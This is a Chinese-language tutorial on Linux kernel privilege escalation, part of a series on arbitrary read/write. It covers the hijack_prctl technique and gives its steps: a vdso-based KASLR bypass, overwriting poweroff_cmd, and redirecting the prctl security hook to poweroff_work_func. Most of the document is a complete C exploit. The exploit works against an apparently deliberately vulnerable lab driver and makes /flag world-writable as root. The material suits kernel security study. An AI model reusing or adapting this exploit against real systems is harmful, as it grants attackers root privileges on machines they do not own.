linux 内核提权总结(demo+exp分析) -- 任意读写(二)
hijack_prctl篇
-
prctl函数: 用户态函数,可用于定制进程参数,非常适合和内核进行交互
- 用户态执行prctl函数后触发prctl系统调用
- 内核接收参数后执行security_task_prctl
- security_task_prctl执行hook.task_prctl
-
poweroff_work_func函数: 内核函数,执行 run_cmd(poweroff_cmd),即root权限执行poweroff_cmd
-
攻击流程:
- 劫持hook.task_prctl为目标函数地址(poweroff_work_func)
- 修改poweroff_cmd为目标指令
- 用户执行prctl函数,触发
一. 利用步骤
1. 定位内核加载基地址(开启kaslr)
- 同hijack_vdso,泄漏vdso地址,因为内核kaslr开启后,只有较高字节的地址发生偏移,且vdso与基地址相距较近,所以可以使用vdso定位内核加载地址
2. 定位hook.prctl,poweroff_cmd地址
-
gdb调试内核并在security_task_prctl函数处下断点,用户态程序执行prctl函数,进入security_task_prctl函数,单步执行汇编指令,通过内存查看hook.task_prctl 地址
-
gdb 执行 p poweroff_cmd,获得poweroff_cmd真实地址
-
获得hook.prctl,poweroff_cmd与内核基地址固定偏移
3. 修改poweroff_cmd 为任意指令
4. 用户态执行prctl函数,触发
二. 驱动代码(见cred篇)
三. exp
#define _GNU_SOURCE
#include <stdio.h>
#include <string.h>
#include <fcntl.h>
#include <unistd.h>
#include <stdlib.h>
#include <sys/ioctl.h>
#include <sys/auxv.h>
#include <sys/prctl.h>
#define CHANGE_POINT 0x100000
#define RW_READ 0x100001
#define RW_WRITE 0x100002
#define SET_MEM 0X100003
size_t poweroff_cmd = 0;
size_t prctl_hook = 0;
size_t poweroff_work_func = 0;
size_t vmlinux_base = 0;
struct vunl
{
char *point;
size_t size;
} VUNL;
void leak_data(int fd, char *buf)
{
char *res = NULL;
VUNL.size = 0x1000;
for (size_t addr = 0xffffffff80000000; addr < 0xffffffffffffffff; addr += 0x1000)
{
VUNL.point = (char *)addr;
ioctl(fd, CHANGE_POINT, &VUNL); //change the point
ioctl(fd, RW_READ, buf);
if (!strcmp("gettimeofday", buf + 0x2b5))
{
printf("[+] the addr of VDSO is: 0x%lx\n", addr);
vmlinux_base = addr & 0xffffffffff000000;
printf("[+] the addr of vmlinux base is: 0x%lx\n", vmlinux_base);
break;
}
puts("[-] not found, try again!\n");
}
return;
}
int main(int argc, char *argv[])
{
int fd = 0;
char *buf = malloc(0x1000);
char cmd[] = "/bin/chmod 777 /flag\x00";
fd = open("/dev/rw_any_dev", O_RDWR);
leak_data(fd, buf);
poweroff_cmd = vmlinux_base + 0xe3e1a0;
prctl_hook = vmlinux_base + 0xe81078;
poweroff_work_func = vmlinux_base + 0x075480;
printf("[+] the addr of poweroff_cmd is: 0x%lx\n", poweroff_cmd);
printf("[+] the addr of prctl hook is: 0x%lx\n", prctl_hook);
printf("[+] the addr of orderly_poweroff is: 0x%lx\n", poweroff_work_func);
VUNL.size = strlen(cmd)+1;
// VUNL.size = strlen(argv[1])+1;
VUNL.point = (char *)poweroff_cmd;
ioctl(fd, CHANGE_POINT, &VUNL);
ioctl(fd, RW_WRITE, cmd);
// ioctl(fd, RW_WRITE, argv[1]);
VUNL.size = 8;
VUNL.point = (char *)prctl_hook;
ioctl(fd, CHANGE_POINT, &VUNL);
ioctl(fd, RW_WRITE, &poweroff_work_func);
puts("[+] the cmd arg must have an ansolute_address");
prctl(PR_GET_NAME, "test");
return 0;
}